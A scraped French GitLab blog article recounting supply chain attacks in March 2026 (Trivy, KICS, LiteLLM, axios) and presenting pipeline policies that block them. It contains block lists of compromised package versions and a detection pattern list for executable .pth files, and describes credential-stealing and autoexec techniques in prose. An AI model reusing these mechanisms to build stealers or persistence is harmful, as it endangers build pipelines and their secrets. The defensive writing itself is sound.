development",[545],{"title":546,"links":547},"Thèmes",[548,552,557,562,567,572,577,582],{"text":107,"config":549},{"href":550,"dataGaName":551,"dataGaLocation":472},"/fr-fr/topics/ci-cd/","cicd",{"text":553,"config":554},"GitOps",{"href":555,"dataGaName":556,"dataGaLocation":472},"/fr-fr/topics/gitops/","gitops",{"text":558,"config":559},"DevOps",{"href":560,"dataGaName":561,"dataGaLocation":472},"/fr-fr/topics/devops/","devops",{"text":563,"config":564},"Contrôle de version",{"href":565,"dataGaName":566,"dataGaLocation":472},"/fr-fr/topics/version-control/","version control",{"text":568,"config":569},"DevSecOps",{"href":570,"dataGaName":571,"dataGaLocation":472},"/fr-fr/topics/devsecops/","devsecops",{"text":573,"config":574},"Cloud-native",{"href":575,"dataGaName":576,"dataGaLocation":472},"/fr-fr/topics/cloud-native/","cloud native",{"text":578,"config":579},"IA pour la programmation",{"href":580,"dataGaName":581,"dataGaLocation":472},"/fr-fr/topics/devops/ai-for-coding/","ai for coding",{"text":583,"config":584},"IA agentique",{"href":585,"dataGaName":586,"dataGaLocation":472},"/fr-fr/topics/agentic-ai/","agentic ai",{"title":588,"links":589},"Solutions",[590,593,595,600,603,606,609,612,615,618,621,626],{"text":132,"config":591},{"href":127,"dataGaName":592,"dataGaLocation":472},"Application Security Testing",{"text":119,"config":594},{"href":103,"dataGaName":104,"dataGaLocation":472},{"text":596,"config":597},"Développement Agile",{"href":598,"dataGaName":599,"dataGaLocation":472},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":114,"config":601},{"href":116,"dataGaName":602,"dataGaLocation":472},"source code management",{"text":107,"config":604},{"href":109,"dataGaName":605,"dataGaLocation":472},"continuous integration & delivery",{"text":158,"config":607},{"href":160,"dataGaName":608,"dataGaLocation":472},"value stream management",{"text":553,"config":610},{"href":611,"dataGaName":556,"dataGaLocation":472},"/fr-fr/solutions/gitops/",{"text":613,"config":614},"Entreprises",{"href":173,"dataGaName":174,"dataGaLocation":472},{"text":616,"config":617},"PME",{"href":178,"dataGaName":179,"dataGaLocation":472},{"text":619,"config":620},"Secteur public",{"href":183,"dataGaName":184,"dataGaLocation":472},{"text":622,"config":623},"Éducation",{"href":624,"dataGaName":625,"dataGaLocation":472},"/fr-fr/solutions/education/","education",{"text":627,"config":628},"Services financiers",{"href":629,"dataGaName":630,"dataGaLocation":472},"/fr-fr/solutions/finance/","financial services",{"title":191,"links":632},[633,635,637,639,642,644,646,648,650,652,654,656],{"text":203,"config":634},{"href":205,"dataGaName":206,"dataGaLocation":472},{"text":208,"config":636},{"href":210,"dataGaName":211,"dataGaLocation":472},{"text":213,"config":638},{"href":215,"dataGaName":216,"dataGaLocation":472},{"text":218,"config":640},{"href":220,"dataGaName":641,"dataGaLocation":472},"docs",{"text":241,"config":643},{"href":243,"dataGaName":244,"dataGaLocation":472},{"text":236,"config":645},{"href":238,"dataGaName":239,"dataGaLocation":472},{"text":246,"config":647},{"href":248,"dataGaName":249,"dataGaLocation":472},{"text":254,"config":649},{"href":256,"dataGaName":257,"dataGaLocation":472},{"text":259,"config":651},{"href":261,"dataGaName":262,"dataGaLocation":472},{"text":264,"config":653},{"href":266,"dataGaName":267,"dataGaLocation":472},{"text":269,"config":655},{"href":271,"dataGaName":272,"dataGaLocation":472},{"text":274,"config":657},{"href":276,"dataGaName":277,"dataGaLocation":472},{"title":292,"links":659},[660,662,664,666,668,670,672,677,682,684,686,688],{"text":299,"config":661},{"href":301,"dataGaName":294,"dataGaLocation":472},{"text":304,"config":663},{"href":306,"dataGaName":307,"dataGaLocation":472},{"text":312,"config":665},{"href":314,"dataGaName":315,"dataGaLocation":472},{"text":317,"config":667},{"href":319,"dataGaName":320,"dataGaLocation":472},{"text":322,"config":669},{"href":324,"dataGaName":325,"dataGaLocation":472},{"text":327,"config":671},{"href":329,"dataGaName":330,"dataGaLocation":472},{"text":673,"config":674},"Développement durable",{"href":675,"dataGaName":676,"dataGaLocation":472},"/sustainability/","Sustainability",{"text":678,"config":679},"Diversité, inclusion et appartenance (DIB)",{"href":680,"dataGaName":681,"dataGaLocation":472},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":332,"config":683},{"href":334,"dataGaName":335,"dataGaLocation":472},{"text":342,"config":685},{"href":344,"dataGaName":345,"dataGaLocation":472},{"text":347,"config":687},{"href":349,"dataGaName":350,"dataGaLocation":472},{"text":689,"config":690},"Déclaration de transparence sur l'esclavage moderne",{"href":691,"dataGaName":692,"dataGaLocation":472},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":694},[695,697,700],{"text":520,"config":696},{"href":522,"dataGaName":523,"dataGaLocation":472},{"text":698,"config":699},"Gestion des cookies",{"dataGaName":532,"dataGaLocation":472,"id":533,"isOneTrustButton":29},{"text":525,"config":701},{"href":527,"dataGaName":528,"dataGaLocation":472},[703,716],{"id":704,"title":24,"body":9,"config":705,"content":708,"description":9,"extension":27,"meta":711,"navigation":29,"path":712,"seo":713,"stem":714,"__hash__":715},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":706,"gitlabHandle":707},"BlogAuthor","dabeles",{"name":24,"config":709},{"headshot":710},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764021550/s0jlolynjykik4qzfznr.png",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","Jk9qNn2qJBh633zCEZSFpYFUYNt83twJ-Ge9wrn_oT0",{"id":717,"title":25,"body":9,"config":718,"content":719,"description":9,"extension":27,"meta":723,"navigation":29,"path":724,"seo":725,"stem":726,"__hash__":727},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":706},{"name":25,"config":720},{"headshot":721,"ctfId":722},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",[729],{"content":730,"config":742},{"title":731,"description":732,"body":733,"category":10,"tags":734,"date":738,"heroImage":739,"authors":740},"Sécurité des pipelines : quelles leçons tirer des attaques de la chaîne d'approvisionnement de mars 2026 ?","Découvrez comment les politiques de pipeline centralisées peuvent détecter et bloquer les attaques récentes de la chaîne d'approvisionnement.","***Remarque : le produit GitLab n'a utilisé aucune des versions de paquets compromises mentionnées dans cet article.***\n\nEn l'espace de 12 jours, quatre attaques distinctes de la chaîne d'approvisionnement ont démontré que les pipelines d'intégration et de déploiement continus ([CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\")) sont devenus une cible de choix pour les acteurs malveillants les plus sophistiqués.\n\nEntre le 19 et le 31 mars 2026, des acteurs malveillants ont compromis :\n\n* Un scanner de sécurité [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\") (Trivy)\n* Un scanner de sécurité d'Infrastructure as Code (IaC) (Checkmarx KICS)\n* Une passerelle de modèles d'IA (LiteLLM)\n* Un client HTTP JavaScript (axios)\n\nChaque attaque ciblait la même surface : le pipeline de build. Cet article décrit [les faits](#trusted-by-millions-compromised-in-minutes), [pourquoi les pipelines peuvent être particulièrement vulnérables](#the-patterns-behind-these-attacks), et comment l'application centralisée de politiques avec GitLab, grâce aux politiques décrites ci-dessous, peut [bloquer, détecter et contenir ces catégories d'attaques](#how-gitlab-pipeline-execution-policies-address-each-attack-pattern) avant qu'elles n'atteignent l'environnement de production.\n\n## Des outils adoptés par des millions d'utilisateurs, compromis en quelques minutes\n\nVoici la chronologie des attaques de la chaîne d'approvisionnement :\n\n### 19 mars : le scanner de sécurité Trivy devient un vecteur d'attaque\n\n[Trivy](https://github.com/aquasecurity/trivy) est l'un des scanners de vulnérabilités open source les plus utilisés au monde. C'est l'outil que les équipes exécutent *à l'intérieur de leurs pipelines* pour détecter les vulnérabilités.\n\nLe 19 mars, un groupe d'acteurs malveillants connu sous le nom de TeamPCP [a utilisé des identifiants compromis](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/) pour forcer le push de code malveillant dans 76 des 77 tags de version de l'action GitHub `aquasecurity/trivy-action` et dans les 7 tags de `aquasecurity/setup-trivy`. Simultanément, le groupe a publié un binaire Trivy trojanisé (v0.69.4) sur les canaux de distribution officiels. La charge utile était un logiciel malveillant destiné au vol d'identifiants qui collectait les variables d'environnement, les jetons cloud, les clés SSH et les secrets CI/CD de chaque pipeline exécutant un scan Trivy.\n\nL'incident a été référencé sous le [CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634) avec un score Common Vulnerability Scoring System (CVSS) de 9,4. L'Agence de cybersécurité et de sécurité des infrastructures (CISA) l'a ajouté au catalogue des vulnérabilités exploitées connues en l'espace de quelques jours.\n\n### 23 mars : Checkmarx KICS tombe à son tour\n\nÀ l'aide d'identifiants volés, le groupe TeamPCP s'est tourné vers le projet open source KICS (Keeping Infrastructure as Code Secure) de Checkmarx. Il a compromis les actions GitHub `ast-github-action` et `kics-github-action`, en [injectant le même logiciel malveillant de vol d'identifiants](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html). Le 23 mars, entre 12 h 58 et 16 h 50 UTC, tout pipeline CI/CD référençant ces actions exfiltrait silencieusement des données sensibles telles que des clés API, des mots de passe de bases de données, des jetons d'accès cloud, des clés SSH et des identifiants de comptes de service.\n\n### 24 mars : LiteLLM compromis via des identifiants Trivy volés\n\nLiteLLM, un proxy d'API LLM totalisant 95 millions de téléchargements mensuels, a été la cible suivante. Le groupe TeamPCP a [publié des versions avec des portes dérobées](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html) (1.82.7 et 1.82.8) sur PyPI à l'aide d'identifiants collectés depuis le propre pipeline CI/CD de LiteLLM, qui utilisait Trivy pour le scan.\n\nLe logiciel malveillant ciblant la version 1.82.7 utilisait une charge utile encodée en base64, injectée directement dans `litellm/proxy/proxy_server.py`, qui s'exécutait au moment de l'importation. Celui ciblant la version 1.82.8 utilisait un fichier `.pth`, un mécanisme Python qui s'exécute automatiquement au démarrage de l'interpréteur. La simple installation de LiteLLM suffisait à déclencher la charge utile. Les attaquants chiffraient les données volées (clés SSH, jetons cloud, fichiers .env, portefeuilles de cryptomonnaie) et les exfiltraient vers `models.litellm.cloud`, un domaine à l'apparence légitime.\n\n### 31 mars : le code source d'un assistant de codage d'IA divulgué par une simple erreur d'empaquetage\n\nAlors que l'attaque du groupe TeamPCP était encore en cours, un éditeur de logiciels a publié un paquet npm contenant un fichier de cartes de source de 59,8 Mo, qui référençait le code source TypeScript complet et non minifié de son assistant de codage d'IA, hébergé dans son propre compartiment Cloudflare R2.\n\nLa fuite a exposé 1 900 fichiers TypeScript, plus de 512 000 lignes de code, 44 feature flags cachés, des noms de code de modèles non publiés, ainsi que le prompt système complet, à la vue de tous ceux qui savaient où chercher. Comme l'a expliqué l'ingénieur [Gabriel Anhaia](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo) : « Un seul fichier .npmignore ou champ files mal configuré dans package.json peut tout exposer. »\n\n### 31 mars : axios et un autre cheval de Troie dans la chaîne d'approvisionnement\n\nLe même jour, une attaque sophistiquée [a ciblé le paquet npm axios](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html), un client HTTP JavaScript qui totalise plus de 100 millions de téléchargements hebdomadaires.\n\nUn compte de chargé de maintenance compromis a publié des versions avec des portes dérobées (1.14.1 et 0.30.4). Elles injectaient une dépendance malveillante (`plain-crypto-js@4.2.1`) qui déployait un cheval de Troie d'accès à distance (RAT) capable de fonctionner sur macOS, Windows et Linux. Les deux branches de release ont été touchées en 39 minutes, et le logiciel malveillant était conçu pour s'autodétruire après exécution.\n\n## Les schémas derrière ces attaques\n\nÀ travers ces cinq incidents, trois schémas d'attaque distincts se dégagent, et tous exploitent la confiance implicite que les pipelines CI/CD accordent à leurs données d'entrée.\n\n### Schéma 1 : outils et actions compromis\n\nLa série d'attaques du groupe TeamPCP a exploité une hypothèse fondamentale : celle selon laquelle les outils de sécurité exécutés *à l'intérieur* de votre pipeline sont eux-mêmes dignes de confiance. Lorsqu'un tag d'action GitHub ou une version de paquet PyPI recèle du code malveillant, le pipeline l'exécute avec un accès complet aux secrets de l'environnement, aux identifiants cloud et aux jetons de déploiement. Il n'y a aucune étape de vérification, car le pipeline fait confiance au tag.\n\n**Contrôle recommandé au niveau du pipeline :** épinglez les outils et actions sur des références immuables (SHA de commit ou empreintes d'image) plutôt que sur des tags de version mutables. Lorsque l'épinglage n'est pas envisageable, vérifiez l'intégrité des outils et des dépendances par rapport à des sommes de contrôle ou des signatures. Bloquez l'exécution en cas d'échec de la vérification.\n\n### Schéma 2 : erreurs de configuration de l'empaquetage qui exposent la propriété intellectuelle\n\nUn pipeline de build mal configuré a inclus des artefacts de débogage directement dans le paquet de production. Un fichier `.npmignore` ou un champ files mal configuré dans package.json suffit. Une étape de validation pré-publication devrait systématiquement détecter ce type d'erreur.\n\n**Contrôle recommandé au niveau du pipeline :** avant toute publication de paquet, exécutez des vérifications automatisées qui valident le contenu du paquet par rapport à une liste d'autorisation, signalent les fichiers inattendus (cartes de source, configurations internes, fichiers .env) et bloquent l'étape de publication en cas d'échec.\n\n### Schéma 3 : vulnérabilités dans les dépendances transitives\n\nL'attaque axios ne ciblait pas uniquement les utilisateurs directs d'axios, mais toute personne dont l'arbre de dépendances utilisait la version compromise. Une seule dépendance compromise dans un fichier de verrouillage (« lockfile ») peut ainsi se propager à travers l'ensemble de l'infrastructure de build d'une organisation.\n\n**Contrôle recommandé au niveau du pipeline :** comparez les sommes de contrôle des dépendances avec l'état connu du fichier de verrouillage. Détectez les nouvelles dépendances inattendues ou les changements de version. Bloquez les builds qui introduisent des paquets non vérifiés.\n\n## Comment les politiques d'exécution des pipelines de GitLab répondent à chaque modèle d'attaque\n\nLes politiques d'exécution des pipelines de GitLab ([PEP](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/)) permettent aux équipes de sécurité et de plateforme d'injecter des jobs CI/CD obligatoires dans chaque pipeline à l'échelle d'une organisation, quel que soit le contenu défini par un développeur dans son fichier `.gitlab-ci.yml`. Les jobs définis dans les PEP ne peuvent pas être ignorés, même avec les directives `[skip ci]` ou `[no_pipeline]`. Les jobs peuvent être exécutés dans des étapes *réservées* (`.pipeline-policy-pre` et `.pipeline-policy-post`) qui encadrent le pipeline du développeur.\n\nNous avons publié des politiques d'exécution des pipelines prêtes à l'emploi pour les trois modèles sous forme de projet open source : [politiques des chaînes d'approvisionnement](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies). Ces politiques sont déployables de manière indépendante, et chacune est livrée avec des exemples de violations que vous pouvez utiliser pour les tester. Voici comment chacune fonctionne.\n\n### Cas d'utilisation 1 : prévenir les expositions accidentelles lors de la publication de paquets\n\n**Problème :** un fichier de cartes de source s'est retrouvé dans le paquet npm d'un outil de codage alimenté par l'IA parce que le pipeline de build n'avait pas exécuté de validation au moment de la publication.\n\n**Approche PEP :** nous avons créé une politique d'exécution des pipelines open source spécialement conçue pour cette catégorie d'erreurs : [maintien de la qualité de l'artefact](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads).\n\nLa politique injecte des jobs `.pipeline-policy-pre` qui détectent automatiquement le type d'artefact (paquet npm, image Docker ou chart Helm) et inspectent le contenu avant l'exécution de toute étape de publication. Pour les paquets npm, elle effectue trois vérifications :\n\n1. **Liste de blocage des motifs de fichiers.** Analyse les données de sortie du paquet npm à la recherche de cartes de source (.map), répertoires de tests, fichiers de configuration de build, paramètres IDE et répertoires src/.\n2. **Contrôle de la taille du paquet.** Bloque les paquets dépassant 50 Mo, comme le paquet de 59,8 Mo qui a provoqué la fuite de l'outil d'IA.\n3. **Analyse sourceMappingURL.** Détecte les URL externes (le schéma du bucket R2 qui a exposé le code source d'un éditeur majeur d'IA) et les données inline : URI et références à des fichiers locaux intégrés dans les paquets JavaScript.\n\nLorsque des violations sont détectées, le pipeline échoue avec un rapport clair dans les logs du job CI en échec :\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nLa politique ne comporte aucune variable CI configurable par l'utilisateur. Les développeurs ne peuvent ni la désactiver ni la contourner. Les exceptions sont gérées par l'équipe de sécurité au niveau de la politique afin de garantir un processus délibéré et une piste d'audit complète.\n\nLe dépôt inclut un projet de test avec des violations intentionnelles (examples/leaky-npm-package/) pour que vous puissiez voir la politique en action avant de la déployer dans votre organisation. Le fichier [README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md) comprend un guide de démarrage rapide complet pour la mise en place et le déploiement.\n\n**Ce que cette politique détecte :** n'importe lequel de ces contrôles aurait probablement empêché la fuite du code source de l'éditeur d'IA :\n\n* Le fichier de cartes de source déclenche la liste de blocage des motifs de fichiers.\n* Sa taille de 59,8 Mo déclenche le contrôle de taille.\n* Le sourceMappingURL pointant vers un bucket R2 externe déclenche l'analyse d'URL.\n\n### Cas d'utilisation 2 : détecter la falsification de dépendances et la manipulation de fichiers de verrouillage\n\n**Problème :** l'attaque axios a introduit une dépendance transitive malveillante (`plain-crypto-js`) qui exécutait un RAT à l'installation. Toute personne ayant exécuté un script npm install pendant la fenêtre de compromission a récupéré le cheval de Troie.\n\n**Approche PEP :** la [politique d'intégrité des dépendances](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml) injecte des jobs .pipeline-policy-pre qui détectent automatiquement l'écosystème de paquets (npm ou Python) et effectuent trois vérifications :\n\n**Pour les projets npm** (déclenchés par `package-lock.json`, `yarn.lock` ou `pnpm-lock.yaml`) :\n\n1. **Intégrité du fichier de verrouillage.** Exécute `npm ci --ignore-scripts`, qui échoue si `node_modules` diffère de ce que spécifie le fichier de verrouillage. Cette vérification permet de détecter les cas où package.json a été mis à jour sans régénérer le fichier de verrouillage, et vérifie également les hashes d'intégrité SRI.\n2. **Analyse des paquets bloqués.** Croise l'arbre complet de dépendances du fichier de verrouillage avec `blocked-packages.yml`, une liste maintenue par GitLab des versions de paquets connues comme compromises. La liste de blocage fournie inclut `axios@1.14.1`, `axios@0.30.4` et `plain-crypto-js@4.2.1`.\n3. **Détection des dépendances non déclarées.** Après l'installation, compare le contenu de node_modules avec le fichier de verrouillage. Tout paquet présent sur le disque mais absent du fichier de verrouillage indique une falsification (par exemple, un script postinstall compromis qui récupère des paquets supplémentaires).\n\n**Pour les projets Python** (déclenchés par `requirements.txt`, `Pipfile.lock`, `poetry.lock` ou `uv.lock`) :\n\n1. **Intégrité du fichier de verrouillage.** Installe dans un environnement virtuel isolé et vérifie que l'installation réussit à partir du fichier de verrouillage.\n2. **Analyse des paquets bloqués.** Même approche de liste de blocage. La liste fournie inclut `litellm==1.82.7` et `litellm==1.82.8`.\n3. **Détection des fichiers .pth.** Analyse les site-packages à la recherche de fichiers `.pth` contenant des motifs de code exécutable (`import os`, `exec(`, `eval(`, `__import__`, `subprocess`, `socket`). C'est exactement le mécanisme qu'utilisait la porte dérobée de LiteLLM.\n\nLorsqu'une violation est détectée :\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nLa politique fonctionne en *mode strict* : toute dépendance absente du fichier de verrouillage validé bloque le pipeline. Si un développeur doit ajouter une dépendance, il effectue un commit du fichier de verrouillage mis à jour. La politique vérifie que la version installée correspond à la version validée. Si un élément apparaît sans avoir été validé (par exemple, une dépendance transitive injectée via un paquet amont compromis), le pipeline est bloqué.\n\n**Ce que cette politique détecte :** l'introduction de `plain-crypto-js` en tant que nouvelle dépendance inédite serait signalée par la vérification des dépendances non déclarées. La version `axios@1.14.1` serait interceptée par l'analyse des paquets bloqués. Le fichier `.pth` de LiteLLM serait détecté par la vérification des fichiers `.pth`. Chaque attaque présente au moins un, et souvent deux, signaux de détection indépendants.\n\n### Cas d'utilisation 3 : détecter et bloquer les outils compromis avant leur exécution\n\n**Problème :** le groupe TeamPCP a remplacé les tags des actions GitHub Trivy et Checkmarx de confiance par des versions malveillantes. Tout pipeline référençant ces tags exécutait un logiciel malveillant de vol d'identifiants.\n\n**Approche PEP :** la [politique d'intégrité des outils](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml) injecte un job `.pipeline-policy-pre` qui interroge l'API CI Lint de GitLab (ou se rabat sur l'évaluation de `.gitlab-ci.yml`), extrait les références d'images de conteneurs et les compare à une liste d'images approuvées maintenue par l'équipe de sécurité.\n\nLa liste d'autorisation (`approved-images.yml`) prend en charge trois contrôles par image :\n\n**Dépôts approuvés :** seules les images provenant de dépôts figurant sur la liste sont autorisées. Un dépôt inconnu bloque le pipeline.\n\n**Tags autorisés :** seuls des tags spécifiques sont autorisés au sein d'un dépôt approuvé. Cela empêche la dérive vers des versions non testées.\n\n**Tags bloqués :** les versions connues comme compromises peuvent être explicitement bloquées, même si le dépôt est approuvé. La liste d'autorisation fournie bloque les versions `aquasec/trivy:0.69.4` à `0.69.6`, les versions exactes trojanisées par TeamPCP.\n\nLorsqu'une violation est détectée, le pipeline échoue avant l'exécution de tout autre job :\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n - tag '0.69.4' is known-compromised\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nLa liste d'autorisation est maintenue via des merge requests sur le projet de politique. Pour ajouter une nouvelle image approuvée, l'équipe de sécurité ouvre une merge request. Pour réagir à une nouvelle compromission, elle ajoute un tag bloqué. Aucune modification de code n'est nécessaire : uniquement du YAML.\n\n**Ce que cette politique détecte :** lorsque des images avec des tags non approuvés sont détectées, la politique compare les noms de dépôts et les tags des images à la liste d'autorisation. Un échec de correspondance bloque le pipeline avant l'exécution de tout scanner, empêchant ainsi l'exfiltration d'identifiants.\n\n*Remarque : en étendant l'exemple ci-dessus, les PEP peuvent être utilisées pour imposer l'épinglage sur des empreintes (digests) plutôt que sur des tags, ce qui protège contre les pushs forcés. Cet exemple illustre un schéma d'application plus élémentaire basé sur les tags.*\n\n## Au-delà des PEP : les défenses de GitLab concernant la chaîne d'approvisionnement\n\nLes politiques d'exécution des pipelines constituent la couche d'application, mais elles fonctionnent au mieux dans le cadre d'une stratégie de défense en profondeur plus large. GitLab offre plusieurs fonctionnalités qui complètent ces politiques pour la protection de la chaîne d'approvisionnement :\n\n### Détection des secrets\n\nLa [détection des secrets de GitLab](https://docs.gitlab.com/user/application_security/secret_detection/) empêche les identifiants d'atterrir dans le dépôt et réduit considérablement ce qu'un outil de pipeline compromis peut collecter. Dans le contexte des attaques de mars 2026 :\n\n* Les identifiants stockés dans les dépôts sont à la fois plus faciles à découvrir pour les attaquants et plus longs à renouveler. L'incident Trivy a montré que même le processus de rotation peut être exploité : la rotation des identifiants d'Aqua Security n'était pas atomique, et l'attaquant a capturé les jetons qui venaient d'être émis avant que les anciens ne soient entièrement révoqués. La détection des secrets de GitLab inclut la révocation automatique des jetons GitLab divulgués et une API partenaire qui notifie les fournisseurs tiers pour qu'ils révoquent leurs identifiants afin d'accélérer la réponse en cas de violation.\n* La détection des secrets, combinée à une gestion appropriée des secrets (jetons à durée de vie limitée, identifiants gérés par un coffre-fort, exposition minimale des secrets dans les pipelines), limite ce qu'un attaquant peut atteindre même lorsqu'un outil de confiance se retourne contre vous.\n\n### Analyse des dépendances via l'analyse de la composition logicielle (SCA)\n\nL'[analyse des dépendances](https://docs.gitlab.com/user/application_security/dependency_scanning/) de GitLab identifie les vulnérabilités connues dans les dépendances des projets en analysant les fichiers de verrouillage et les manifestes. Dans le contexte des attaques de mars 2026 :\n\n* Pour LiteLLM, les versions compromises (1.82.7, 1.82.8) sont répertoriées dans la base de données d'avis de sécurité de GitLab, qui signale automatiquement les projets Python concernés.\n* Pour axios, l'analyse des dépendances identifie les versions compromises (1.14.1, 0.30.4) dans tous les projets de l'organisation et offre aux équipes de sécurité une vue unifiée pour évaluer le rayon d'impact et prioriser le renouvellement des identifiants.\n* Tous les paquets npm compromis par la propagation CanisterWorm de TeamPCP sont également signalés lorsqu'ils sont utilisés.\n\nL'[analyse des conteneurs](https://docs.gitlab.com/user/application_security/container_scanning/) de GitLab détecte les images de conteneurs vulnérables utilisées dans vos déploiements. Pour la compromission de Trivy, l'analyse des conteneurs signale les images Docker Trivy trojanisées (0.69.4 à 0.69.6) lorsqu'elles apparaissent dans votre registre de conteneurs ou vos manifestes de déploiement.\n\n### Politiques d'approbation des merge requests\n\nLes [politiques d'approbation des merge requests](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) peuvent exiger l'approbation de l'équipe de sécurité avant que des modifications apportées aux fichiers de verrouillage de dépendances ou aux configurations CI/CD ne soient fusionnées. Cette approche garantit un point de contrôle humain pour les types de modifications que les attaques de la chaîne d'approvisionnement introduisent habituellement.\n\n### À venir : fonctionnalité Dependency Firewall, registre des artefacts et attestation et vérification SLSA de niveau 3\n\nLes futures fonctionnalités de sécurité de la chaîne d'approvisionnement de GitLab renforcent l'application des politiques sur deux points de contrôle critiques : le registre et le pipeline. La fonctionnalité Dependency Firewall et le registre des artefacts bloqueront les paquets non conformes, tandis que l'attestation Supply chain Levels for Software Artifacts (SLSA) de niveau 3 fournira une preuve cryptographique que les artefacts ont été produits par des pipelines approuvés et n'ont pas été modifiés. Ensemble, ils offriront aux équipes de sécurité un contrôle vérifiable sur ce qui entre dans la chaîne d'approvisionnement logicielle et ce qui en sort.\n\n## Ce que cela signifie pour votre organisation\n\nFace à la montée des menaces assistées par l'IA, les attaques contre les pipelines CI/CD deviennent monnaie courante. La série d'attaques du groupe TeamPCP démontre comment un seul identifiant compromis peut se propager en cascade à travers tout un écosystème d'outils de confiance.\n\nSi votre organisation a utilisé l'un des composants affectés, partez du principe que tous vos secrets de pipeline ont été exposés : renouvelez-les immédiatement et auditez vos systèmes à la recherche de portes dérobées persistantes. Dans tous les cas, le renouvellement régulier des identifiants et l'utilisation de jetons à durée de vie limitée réduisent le rayon d'impact de toute compromission future.\n\nVoici nos recommandations :\n\n1. **Épinglez les dépendances sur des sommes de contrôle, dans la mesure du possible.** Les tags de version mutables (comme ceux détournés par TeamPCP) ne constituent pas une frontière de sécurité. Utilisez des références épinglées par SHA pour tous les [composants CI/CD](https://docs.gitlab.com/ci/components/#manage-dependencies), actions et images de conteneurs.\n2. **Exécutez des vérifications d'intégrité avant l'exécution.** Utilisez les politiques d'exécution des pipelines pour vérifier l'intégrité des outils et des dépendances *avant* l'exécution de tout job de pipeline. C'est l'étape `.pipeline-policy-pre`.\n3. **Auditez ce que vous publiez.** Chaque étape de publication de paquet devrait inclure une validation automatisée du contenu de l'artefact. Les cartes de source, les fichiers d'environnement et les configurations internes ne devraient jamais quitter votre environnement de build. Le projet [politiques des chaînes d'approvisionnement](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies) fournit un point de départ prêt à déployer pour les artefacts npm, Docker et Helm.\n4. **Détectez la dérive des dépendances.** Comparez les résolutions de dépendances avec les fichiers de verrouillage validés à chaque exécution de pipeline. Surveillez l'apparition de nouvelles dépendances inattendues.\n5. **Centralisez la gestion des politiques.** Ne comptez pas sur le fait que les développeurs se souviennent d'inclure les vérifications de sécurité. Appliquez-les au niveau du groupe ou de l'instance via des politiques que les développeurs ne peuvent ni supprimer ni contourner.\n6. **Considérez vos outils de sécurité comme des cibles.** Si votre scanner de vulnérabilités, votre outil de test statique de sécurité des applications (SAST) ou votre passerelle d'IA peut être compromis, il le sera. Limitez chaque outil au strict minimum de privilèges nécessaires et vérifiez qu'il ne peut accéder à rien d'autre.\n\n## Protégez vos pipelines avec GitLab\n\nEn deux semaines, des attaquants ont compromis les pipelines de production d'organisations utilisant certains des outils les plus largement adoptés de l'écosystème de développement logiciel.\n\nLa leçon est claire : les pipelines de build nécessitent le même niveau de protection centralisée et pilotée par des politiques que celui que nous appliquons aux réseaux et à l'infrastructure cloud.\n\nLes politiques d'exécution des pipelines de GitLab fournissent cette couche d'application. Elles garantissent que les vérifications de sécurité s'exécutent dans chaque pipeline, dans chaque projet, indépendamment des configurations individuelles des projets. Combinées à l'analyse des dépendances, à la détection des secrets et aux politiques d'approbation des merge requests, elles peuvent bloquer, détecter et contenir la catégorie d'attaques observée en mars 2026.\n\nLe projet [politiques des chaînes d'approvisionnement](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies) fournit une politique d'exécution des pipelines opérationnelle qui détecte exactement la catégorie d'erreurs à l'origine de la fuite du code source d'un éditeur majeur d'IA, avec une couverture pour les paquets npm, les images Docker et les charts Helm. Clonez-le, déployez-le dans votre groupe et assurez-vous que tous vos pipelines sont prêts à affronter les attaques de la chaîne d'approvisionnement à venir.\n\nPour tester les politiques de pipeline centralisées, inscrivez-vous pour un [essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/devsecops/).\n\n*Cet article de blog contient des « déclarations prospectives » au sens de la section 27A du 